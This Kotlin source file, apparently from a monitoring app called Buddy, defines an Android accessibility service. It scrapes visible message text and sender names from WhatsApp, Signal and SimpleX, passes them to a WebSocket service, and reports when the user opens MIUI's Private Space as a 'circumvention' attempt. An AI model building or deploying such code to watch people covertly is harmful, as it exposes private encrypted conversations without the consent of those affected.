1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
|
package sh.lajo.buddy
import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.AccessibilityServiceInfo
import android.content.Intent
import android.os.Build
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
class BuddyAccessibilityService : AccessibilityService() {
companion object {
private const val TAG = "BuddyAccessibility"
// Package names for supported messaging apps
const val PACKAGE_WHATSAPP = "com.whatsapp"
const val PACKAGE_SIGNAL = "org.thoughtcrime.securesms"
const val PACKAGE_SIMPLEX = "chat.simplex.app"
// Circumvention events: package to class name pattern
val CIRCUMVENTION_EVENTS = mapOf(
"com.miui.securitycore" to "PrivateSpaceMainActivity"
)
}
// Track recently processed messages to avoid duplicates
private val recentMessages = LinkedHashMap<String, Long>(100, 0.75f, true)
private val MESSAGE_DEDUP_WINDOW_MS = 5000L // 5 seconds
override fun onServiceConnected() {
super.onServiceConnected()
val info = AccessibilityServiceInfo().apply {
eventTypes =
AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED or
AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED or
AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED or
AccessibilityEvent.TYPE_VIEW_SCROLLED
feedbackType = AccessibilityServiceInfo.FEEDBACK_GENERIC
packageNames = arrayOf(
PACKAGE_WHATSAPP,
PACKAGE_SIGNAL,
PACKAGE_SIMPLEX,
"com.miui.securitycore"
)
flags =
AccessibilityServiceInfo.FLAG_REPORT_VIEW_IDS or
AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS or
AccessibilityServiceInfo.FLAG_INCLUDE_NOT_IMPORTANT_VIEWS
notificationTimeout = 100
}
serviceInfo = info
Log.d(TAG, "Accessibility service connected")
}
override fun onAccessibilityEvent(event: AccessibilityEvent?) {
if (event == null) return
val packageName = event.packageName?.toString() ?: return
val className = event.className?.toString() ?: return
if (event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
packageName == "com.miui.securitycore" &&
className.contains("PrivateSpaceMainActivity")) {
sendPrivateSpaceEvent()
return
}
// Only process supported apps
if (packageName !in getAppNameMap().keys) return
val rootNode = rootInActiveWindow ?: return
try {
when (packageName) {
PACKAGE_WHATSAPP -> processWhatsAppMessages(rootNode, packageName)
PACKAGE_SIGNAL -> processSignalMessages(rootNode, packageName)
PACKAGE_SIMPLEX -> processSimpleXMessages(rootNode, packageName)
}
} catch (e: Exception) {
Log.e(TAG, "Error processing accessibility event: ${e.message ?: ""}")
} finally {
// Clean up old entries from dedup map
cleanupRecentMessages()
}
}
override fun onInterrupt() {
Log.d(TAG, "Accessibility service interrupted")
}
private fun getAppNameMap(): Map<String, Int> {
return mapOf(
PACKAGE_WHATSAPP to R.string.app_name_whatsapp,
PACKAGE_SIGNAL to R.string.app_name_signal,
PACKAGE_SIMPLEX to R.string.app_name_simplex
)
}
private fun processWhatsAppMessages(rootNode: AccessibilityNodeInfo, packageName: String) {
val messageNodes = mutableListOf<AccessibilityNodeInfo>()
findNodesByViewIdContains(rootNode, "message", messageNodes)
findNodesByViewIdContains(rootNode, "conversation", messageNodes)
val textNodes = mutableListOf<AccessibilityNodeInfo>()
collectTextNodes(rootNode, textNodes)
for (node in textNodes) {
val text = node.text?.toString() ?: continue
if (text.isBlank() || text.length < 2) continue
val sender = extractWhatsAppSender(node)
sendMessageEvent(packageName, sender, text)
}
}
private fun processSignalMessages(rootNode: AccessibilityNodeInfo, packageName: String) {
val textNodes = mutableListOf<AccessibilityNodeInfo>()
collectTextNodes(rootNode, textNodes)
for (node in textNodes) {
val text = node.text?.toString() ?: continue
if (text.isBlank() || text.length < 2) continue
val sender = extractSignalSender(node)
sendMessageEvent(packageName, sender, text)
}
}
private fun processSimpleXMessages(rootNode: AccessibilityNodeInfo, packageName: String) {
// SimpleX chat message extraction
val textNodes = mutableListOf<AccessibilityNodeInfo>()
collectTextNodes(rootNode, textNodes)
for (node in textNodes) {
val text = node.text?.toString() ?: continue
if (text.isBlank() || text.length < 2) continue
val sender = extractSimpleXSender(node)
sendMessageEvent(packageName, sender, text)
}
}
private fun extractWhatsAppSender(node: AccessibilityNodeInfo): String {
// Try to find sender name by traversing parent nodes
var parent = node.parent
var attempts = 0
while (parent != null && attempts < 10) {
for (i in 0 until parent.childCount) {
val sibling = parent.getChild(i) ?: continue
val viewId = sibling.viewIdResourceName ?: ""
if (viewId.contains("name", ignoreCase = true) ||
viewId.contains("contact", ignoreCase = true) ||
viewId.contains("header", ignoreCase = true)) {
val senderText = sibling.text?.toString()
if (!senderText.isNullOrBlank()) {
sibling.recycle()
return senderText
}
}
sibling.recycle()
}
val nextParent = parent.parent
parent.recycle()
parent = nextParent
attempts++
}
return "Unknown"
}
private fun extractSignalSender(node: AccessibilityNodeInfo): String {
var parent = node.parent
var attempts = 0
while (parent != null && attempts < 10) {
for (i in 0 until parent.childCount) {
val sibling = parent.getChild(i) ?: continue
val viewId = sibling.viewIdResourceName ?: ""
val contentDesc = sibling.contentDescription?.toString() ?: ""
if (viewId.contains("sender", ignoreCase = true) ||
viewId.contains("name", ignoreCase = true) ||
viewId.contains("group_member", ignoreCase = true) ||
contentDesc.contains("from", ignoreCase = true)) {
val senderText = sibling.text?.toString() ?: contentDesc
if (senderText.isNotBlank()) {
sibling.recycle()
return senderText
}
}
sibling.recycle()
}
val nextParent = parent.parent
parent.recycle()
parent = nextParent
attempts++
}
return "Unknown"
}
private fun extractSimpleXSender(node: AccessibilityNodeInfo): String {
var parent = node.parent
var attempts = 0
while (parent != null && attempts < 10) {
for (i in 0 until parent.childCount) {
val sibling = parent.getChild(i) ?: continue
val viewId = sibling.viewIdResourceName ?: ""
if (viewId.contains("sender", ignoreCase = true) ||
viewId.contains("name", ignoreCase = true) ||
viewId.contains("member", ignoreCase = true)) {
val senderText = sibling.text?.toString()
if (!senderText.isNullOrBlank()) {
sibling.recycle()
return senderText
}
}
sibling.recycle()
}
val nextParent = parent.parent
parent.recycle()
parent = nextParent
attempts++
}
return "Unknown"
}
private fun collectTextNodes(node: AccessibilityNodeInfo, output: MutableList<AccessibilityNodeInfo>) {
val text = node.text?.toString()
if (!text.isNullOrBlank()) {
output.add(node)
}
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
collectTextNodes(child, output)
}
}
private fun findNodesByViewIdContains(
node: AccessibilityNodeInfo,
pattern: String,
output: MutableList<AccessibilityNodeInfo>
) {
val viewId = node.viewIdResourceName ?: ""
if (viewId.contains(pattern, ignoreCase = true)) {
output.add(node)
}
for (i in 0 until node.childCount) {
val child = node.getChild(i) ?: continue
findNodesByViewIdContains(child, pattern, output)
}
}
private fun sendMessageEvent(packageName: String, sender: String, messageText: String) {
val dedupKey = "$packageName:$sender:${messageText.hashCode()}"
val now = System.currentTimeMillis()
val lastProcessed = recentMessages[dedupKey]
if (lastProcessed != null && (now - lastProcessed) < MESSAGE_DEDUP_WINDOW_MS) {
return // Skip duplicate
}
recentMessages[dedupKey] = now
val appNameResId = getAppNameMap()[packageName]
val appName = if (appNameResId != null) getString(appNameResId) else packageName
val messagePreview = messageText.take(50)
Log.d(TAG, "Message detected in $appName from $sender: $messagePreview...")
val intent = Intent(this, WebSocketService::class.java).apply {
action = WebSocketService.ACTION_ACCESSIBILITY_MESSAGE
putExtra(WebSocketService.EXTRA_ACCESSIBILITY_APP, appName)
putExtra(WebSocketService.EXTRA_ACCESSIBILITY_SENDER, sender)
putExtra(WebSocketService.EXTRA_ACCESSIBILITY_MESSAGE_TEXT, messageText)
putExtra(WebSocketService.EXTRA_ACCESSIBILITY_TIMESTAMP, now)
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
private fun cleanupRecentMessages() {
val now = System.currentTimeMillis()
val iterator = recentMessages.entries.iterator()
while (iterator.hasNext()) {
val entry = iterator.next()
if (now - entry.value > MESSAGE_DEDUP_WINDOW_MS * 2) {
iterator.remove()
} else {
break // Since LinkedHashMap maintains access order, newer entries follow
}
}
}
private fun sendPrivateSpaceEvent() {
val intent = Intent(this, WebSocketService::class.java).apply {
action = WebSocketService.ACTION_CIRCUMVENTION_EVENT
putExtra(WebSocketService.EXTRA_CIRCUMVENTION_PACKAGE, "com.miui.securitycore")
putExtra(WebSocketService.EXTRA_CIRCUMVENTION_CLASS, "com.miui.securitycore.PrivateSpaceMainActivity")
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(intent)
} else {
startService(intent)
}
}
}
|